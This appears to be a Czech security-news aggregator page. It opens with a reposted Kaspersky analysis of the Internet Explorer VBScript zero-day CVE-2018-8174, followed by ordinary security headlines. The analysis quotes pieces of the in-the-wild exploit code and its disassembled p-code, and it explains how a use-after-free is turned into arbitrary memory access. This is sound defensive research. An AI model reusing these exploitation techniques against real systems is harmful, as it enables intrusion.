Viry a Červi

Delving deep into VBScript

Kaspersky Securelist - 3 Červenec, 2018 - 15:00

In late April we found and wrote a description of CVE-2018-8174, a new zero-day vulnerability for Internet Explorer that was picked up by our sandbox. The vulnerability uses a well-known technique from the proof-of-concept exploit CVE-2014-6332 that essentially “corrupts” two memory objects and changes the type of one object to Array (for read/write access to the address space) and the other object to Integer to fetch the address of an arbitrary object.

But whereas CVE-2014-6332 was aimed at integer overflow exploitation for writing to arbitrary memory locations, my interest lay in how this technique was adapted to exploit the use-after-free vulnerability. To answer this question, let’s consider the internal structure of the VBScript interpreter.

Undocumented platform

Debugging a VBScript executable is a tedious task. Before the script is executed, it is compiled into p-code, which is then interpreted by the virtual machine. There is no open source information about the internal structure of this virtual machine and its instructions. It took me a lot of effort to track down a couple of web pages with Microsoft engineer reports dated 1999 and 2004 that shed some light on the p-code. There was enough information there for me to fully reverse-engineer all the VM instructions and write a disassembler! The final scripts for disassembling VBScript p-code in the memory of the IDA Pro and WinDBG debuggers are available in our Github repository.

With an understanding of the interpreted code, we can precisely monitor the execution of the script: we have full information about where the code is being executed at any given moment, and we can observe all objects that are created and referenced by the script. All this greatly assists in the analysis.

The best place to run the disassembling script is the CScriptRuntime::RunNoEH function, which directly interprets the p-code.

Important fields in the CScriptRuntime class

The CScriptRuntime class contains all information about the state of the interpreter: local variables, function arguments, pointers to the top of the stack and the current instruction, plus the address of the compiled script.

The VBScript virtual machine is stack-oriented and consists of slightly more than 100 instructions.

All variables (local arguments and ones on the stack) are represented as a VARIANT structure occupying 16 bytes, where the upper word indicates the data type. Some of the type values are given on the relevant MSDN page.

CVE-2018-8174 exploitation

Below is the code and disassembled p-code of class ‘Class1’:

Class Class1 Dim mem Function P End Function Function SetProp(Value) mem=Value SetProp=0 End Function End Class Function 34 ('Class1') [max stack = 1]: arg count = 0 lcl count = 0 Pcode: 0000 OP_CreateClass 0005 OP_FnBindEx 'p' 35 FALSE 000F OP_FnBindEx 'SetProp' 36 FALSE 0019 OP_CreateVar 'mem' FALSE 001F OP_LocalSet 0 0022 OP_FnReturn Function 35 ('p') [max stack = 0]: arg count = 0 lcl count = 0 Pcode: ***BOS(8252,8264)*** End Function ***** 0000 OP_Bos1 0 0002 OP_FnReturn 0003 OP_Bos0 0004 OP_FuncEnd Function 36 ('SetProp') [max stack = 1]: arg count = 1 arg -1 = ref Variant 'value' lcl count = 0 Pcode: ***BOS(8292,8301)*** mem=Value ***** 0000 OP_Bos1 0 0002 OP_LocalAdr -1 0005 OP_NamedSt 'mem' ***BOS(8304,8315)*** SetProp=(0) ***** 000A OP_Bos1 1 000C OP_IntConst 0 000E OP_LocalSt 0 ***BOS(8317,8329)*** End Function ***** 0011 OP_Bos1 2 0013 OP_FnReturn 0014 OP_Bos0 0015 OP_FuncEnd

Function 34 is a constructor of class ‘Class1’.

The OP_CreateClass instruction calls the VBScriptClass::Create function to create a VBScriptClass object.

The OP_FnBindEx and OP_CreateVar instructions try to fetch the variables passed in the arguments, and since they do not yet exist, they are created by the VBScriptClass::CreateVar function.

This diagram shows how variables can be fetched from a VBScriptClass object. The value of the variable is stored in the VVAL structure:

To understand the exploitation, it is important to know how variables are represented in the VBScriptClass structure.

When the OP_NamedSt ‘mem’ instruction is executed in function 36 (‘SetProp’), it calls the Default Property Getter of the instance of the class that was previously stacked and then stores the returned value in the variable ‘mem’.

***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <-------- put argument on stack
0005OP_NamedSt ‘mem’ <-------- if it's a class dispatcher with Default Property Getter, call and store returned value in mem

Below is the code and disassembled p-code of function 30 (p), which is called during execution of the OP_NamedSt instruction:

Class lllIIl Public Default Property Get P Dim llII P=CDbl("174088534690791e-324") For IIIl=0 To 6 IIIlI(IIIl)=0 Next Set llII=New Class2 llII.mem=lIlIIl For IIIl=0 To 6 Set IIIlI(IIIl)=llII Next End Property End Class Function 30 ('p') [max stack = 3]: arg count = 0 lcl count = 1 lcl 1 = Variant 'llII' tmp count = 4 Pcode: ***BOS(8626,8656)*** P=CDbl("174088534690791e-324") ***** 0000 OP_Bos1 0 0002 OP_StrConst '174088534690791e-324' 0007 OP_CallNmdAdr 'CDbl' 1 000E OP_LocalSt 0 ***BOS(8763,8782)*** For IIIl=(0) To (6) ***** 0011 OP_Bos1 1 0013 OP_IntConst 0 0015 OP_IntConst 6 0017 OP_IntConst 1 0019 OP_ForInitNamed 'IIIl' 5 4 0022 OP_JccFalse 0047 ***BOS(8809,8824)*** IIIlI(IIIl)=(0) ***** 0027 OP_Bos1 2 0029 OP_IntConst 0 002B OP_NamedAdr 'IIIl' 0030 OP_CallNmdSt 'IIIlI' 1 ***BOS(8826,8830)*** Next ***** 0037 OP_Bos1 3 0039 OP_ForNextNamed 'IIIl' 5 4 0042 OP_JccTrue 0027 ***BOS(8855,8874)*** Set llII=New Class2 ***** 0047 OP_Bos1 4 0049 OP_InitClass 'Class2' 004E OP_LocalSet 1 ***BOS(8876,8891)*** llII.mem=lIlIIl ***** 0051 OP_Bos1 5 0053 OP_NamedAdr 'lIlIIl' 0058 OP_LocalAdr 1 005B OP_MemSt 'mem' ….

The first basic block of this function is:

***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
0000OP_Bos1 0
0002OP_StrConst ‘174088534690791e-324’
0007OP_CallNmdAdr’CDbl’ 1
000EOP_LocalSt 0

This block converts the string ‘174088534690791e-324’ to VARIANT and stores it in the local variable 0, reserved for the return value of the function.

VARIANT obtained after converting ‘174088534690791e-324’ to double

After the return value is set but before it is returned, this function performs:

For IIIl=0 To 6

This calls the garbage collector for the ‘Class1’ instance and results in a dangling pointer reference due to the use-after-free vulnerability in Class_Terminate() that we discussed earlier.

In the line

***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1

the OP_InitClass ‘Class2’ instruction creates an “evil twin” instance of class ‘Class1’ at the location of the previously freed VBScriptClass, which is still referenced by the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’).

Class ‘Class2’ is the “evil twin” of class ‘Class1’:

Class Class2 Dim mem Function P0123456789 P0123456789=LenB(mem(IlII+(8))) End Function Function SPP End Function End Class Function 31 ('Class2') [max stack = 1]: arg count = 0 lcl count = 0 Pcode: 0000 OP_CreateClass 'Class2' 0005 OP_FnBindEx 'P0123456789' 32 FALSE 000F OP_FnBindEx 'SPP' 33 FALSE 0019 OP_CreateVar 'mem' FALSE 001F OP_LocalSet 0 0022 OP_FnReturn Function 32 ('P0123456789') [max stack = 2]: arg count = 0 lcl count = 0 Pcode: ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) ***** 0000 OP_Bos1 0 0002 OP_NamedAdr 'IlII' 0007 OP_IntConst 8 0009 OP_Add 000A OP_CallNmdAdr 'mem' 1 0011 OP_CallNmdAdr 'LenB' 1 0018 OP_LocalSt 0 ***BOS(8423,8435)*** End Function ***** 001B OP_Bos1 1 001D OP_FnReturn 001E OP_Bos0 001F OP_FuncEnd Function 33 ('SPP') [max stack = 0]: arg count = 0 lcl count = 0 Pcode: ***BOS(8451,8463)*** End Function ***** 0000 OP_Bos1 0 0002 OP_FnReturn 0003 OP_Bos0 0004 OP_FuncEnd

The location of variables in memory is predictable. The amount of data occupied by the VVAL structure is calculated using the formula 0x32 + the length of the variable name in UTF-16.

Below is a diagram that shows the location of ‘Class1’ variables relative to ‘Class2’ variables when ‘Class2’ is allocated in place of ‘Class1’.

When execution of the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’) is complete, the value returned by function 30 (‘p’) is written to memory through the dangling pointer of VVAL ‘mem’ in Class1, overwriting the VARIANT type of VVAL ‘mem’ in Class2.

VARIANT of type Double overwrites the VARIANT type from String to Array

Thus, an object of type String is converted to an object of type Array, and data that was previously considered to be a string is treated as an Array control structure, allowing access to be gained to the entire address space of the process.


Our scripts for disassembling VBScript compiled into p-code enable VBScript debugging at the bytecode level, which helps to analyze exploits and understand how VBScript operates. They are available in our Github repository

The case of CVE-2018-8174 demonstrates that when memory allocations are highly predictable, use-after-free vulnerabilities are easy to exploit. The in-the-wild exploit targets older versions of Windows. The location of objects in memory required for its exploitation is most likely to occur in Windows 7 and Windows 8.1.

Automatic Exploit Protection (AEP), part of Kaspersky Lab products, blocks all stages of the exploit with the following verdicts:

  • HEUR:Exploit.MSOffice.Generic
  • HEUR:Exploit.Script.CVE-2018-8174.a
  • HEUR:Exploit.Script.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

Tool scrubs hidden tracking data from printed documents

Sophos Naked Security - 3 Červenec, 2018 - 14:49
Just because a document isn't digital doesn't mean it doesn't contain metadata. Printed documents often have their own hidden details, and now German researchers have developed tools to help you scrub them clean.

Immigrant identity thief and ICE lawyer gets four years

Sophos Naked Security - 3 Červenec, 2018 - 14:32
A former high-ranking lawyer at US Immigration and Customs Enforcement is going to jail for four years after stealing the identities of US immigrants.

Nominations opened for fifth Péter Szőr Award

Virus Bulletin News - 3 Červenec, 2018 - 13:32
Virus Bulletin has opened nominations for the fifth annual Péter Szőr Award, for the best piece of technical security research published between 1 July 2017 and 30 June 2018.

Read more
Kategorie: Viry a Červi

'Coding' cockup blamed for NHS cough-up of confidential info against patients' wishes

The Register - Anti-Virus - 3 Červenec, 2018 - 12:48
Another day, another UK public health data breach

Confidential information on 150,000 NHS patients has been distributed against their wishes for years due to a "coding error" by healthcare software supplier TPP.…

Kategorie: Viry a Červi

Facebook gave certain companies special access to customer data

Sophos Naked Security - 3 Červenec, 2018 - 12:35
What do, Nissan, Spotify, and Nike have in common? They were all afforded temporary extensions to access private Facebook data API.

Typeform data breach hits thousands of survey accounts

Sophos Naked Security - 3 Červenec, 2018 - 12:19
Survey company Typeform has admitted suffering a breach caused by attackers downloading a “partial backup” of its customer data.

.SettingContent-ms files remind us that it is features, not bugs we should be most concerned about

Virus Bulletin News - 3 Červenec, 2018 - 12:14
Security researcher Matt Nelson has discovered how .SettingContent-ms files can be embedded into Office files to deliver malware.

Read more
Kategorie: Viry a Červi

Budget hotel chain, UK political party, Monzo Bank, Patreon caught in Typeform database hack

The Register - Anti-Virus - 3 Červenec, 2018 - 10:48
All insist financial data is safe – but not names nor emails

More entities affected by the computer security breach at web form and survey company Typeform have come forward, including budget hotel chain Travelodge and UK political party the Liberal Democrats.…

Kategorie: Viry a Červi

Smash-hit game Fortnite is dangerous... for cheaters: Tools found laced with malware

The Register - Anti-Virus - 3 Červenec, 2018 - 03:01
Hurrah! Now we can have a security panic about a violent game instead of a moral panic!

Free third-person slaughter-fest Fortnite has attracted more than 100 million players – but many of them are falling foul to malware infections as they try to beat other players.…

Kategorie: Viry a Červi

Welcome to a New Look for Threatpost - 2 Červenec, 2018 - 21:16
This update brings a fresh new look to the site, but also gives us a better platform overall, built and designed from the ground up for the future.
Kategorie: Viry a Červi

Navigating an Uncharted Future, Bug Bounty Hunters Seek Safe Harbors - 2 Červenec, 2018 - 21:13
More companies are looking to adopt "safe harbor" language in their bug bounty programs to build trust with participants.
Kategorie: Viry a Červi

ThreatList: Exploit Kits Still a Top Web-based Threat - 2 Červenec, 2018 - 20:32
Here is a look at what exploit kits, CVEs and other web-based threats are keeping security professionals working overtime in 2018.
Kategorie: Viry a Červi

ThreatList: Top Summer DDoS Trends - 2 Červenec, 2018 - 20:31
Distributed Denial of Service attacks maybe one of the oldest tools in a hacker’s toolbox, but that doesn’t mean they haven’t fallen out of fashion.
Kategorie: Viry a Červi

Newsmaker Interview: Marten Mickos on the Future of Bug Bounty - 2 Červenec, 2018 - 20:28
Mickos sat down with Threatpost's Lindsey O'Donnell to talk about bug bounty program opportunities, challenges, and ultimately how programs are evolving. 
Kategorie: Viry a Červi

Fake Bitcoin exchange traps drug dealers on the dark web

Sophos Naked Security - 2 Červenec, 2018 - 16:37
You never know who you’ll meet on the dark web. In the case of one money laundering operation, it turned out to be Homeland Security agents.

Dr Symantec offers quick and painless checkup for VPNFilter menace on routers

The Register - Anti-Virus - 2 Červenec, 2018 - 15:39
Traffic-fiddling malware may have met its match

Clean-up efforts to respond to the VPNFilter malware have accelerated with the release of a free check-up tool.…

Kategorie: Viry a Červi

Brave adds Tor to reinvent anonymous browsing

Sophos Naked Security - 2 Červenec, 2018 - 13:03
The Brave privacy browser has added another feature to bolster its blossoming anti-surveillance credentials - the ability to use the Tor anonymity system by launching a tab.

Second former Equifax staffer charged with insider trading

Sophos Naked Security - 2 Červenec, 2018 - 12:41
In another entry for the ‘what were they thinking’ file, a second former Equifax executive has been charged with insider trading in advance of the company’s massive data breach announcement last September.

Monday review – the hot 23 stories of the week

Sophos Naked Security - 2 Červenec, 2018 - 12:14
From the Linux distro hacked on GitHub and Facebook and Google's manipulation of us with “dark patterns” to the security camera footage sent to the wrong person, and more!
Syndikovat obsah